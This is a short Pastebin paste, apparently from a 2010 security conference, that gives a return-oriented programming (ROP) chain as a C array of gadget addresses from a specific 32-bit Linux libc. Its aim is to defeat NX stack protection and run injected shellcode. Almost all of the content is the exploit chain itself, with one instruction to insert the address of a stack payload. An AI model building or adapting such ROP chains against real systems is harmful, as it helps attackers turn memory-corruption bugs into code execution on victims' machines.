Advertisement
badeip

HES2010 (scott->shelley) - ROP code for NX circumvention

Feb 25th, 2012
368
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 0.85 KB | None | 0 0
  1. // by petter wahlman, https://twitter.com/badeip
  2.  
  3. ROP code that allows execution of code on the stack despite NX protection.
  4. Gadgets were found in /lib/tls/i686/cmov/libc.so.6, mapped at 0xb7e97000
  5.  
  6. unsigned int circumvent_nx[] = {
  7.    0xb7e98a9e, 0xbffeb010, 0xb7eead45, 0xb7f5ffe0,
  8.    0xb7ed0b78, 0xb7e98a9e, 0xbffeb014, 0xb7eead45,
  9.    0x00000000, 0xb7ed0b78, 0xb7eb75dc, 0x11111111,
  10.    0xb7e98a9e, 0xaeed9eef, 0xb7f1f6f1, 0xb7f64a5b,
  11.    0xb7e98a9e, 0xbffeb018, 0xb7ed0b78, 0xb7eb75dc,
  12.    0x11126111, 0xb7e98a9e, 0x11111111, 0xb7ec654e,
  13.    0xb7e98a9e, 0xbffeb01c, 0xb7f64a5b, 0xb7ed0b78,
  14.    0xb7eb75dc, 0x11111118, 0xb7e98a9e, 0x11111111,
  15.    0xb7ec654e, 0xb7e98a9e, 0xbffeb020, 0xb7f64a5b,
  16.    0xb7ed0b78, 0xb7eb75dc, 0xbffeb010, 0xb7f864c9,
  17.    0xb7eb75dc
  18. };
  19.  
  20. replace 0x00000000 at circumvent_nx[8] with the address of your stack payload.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement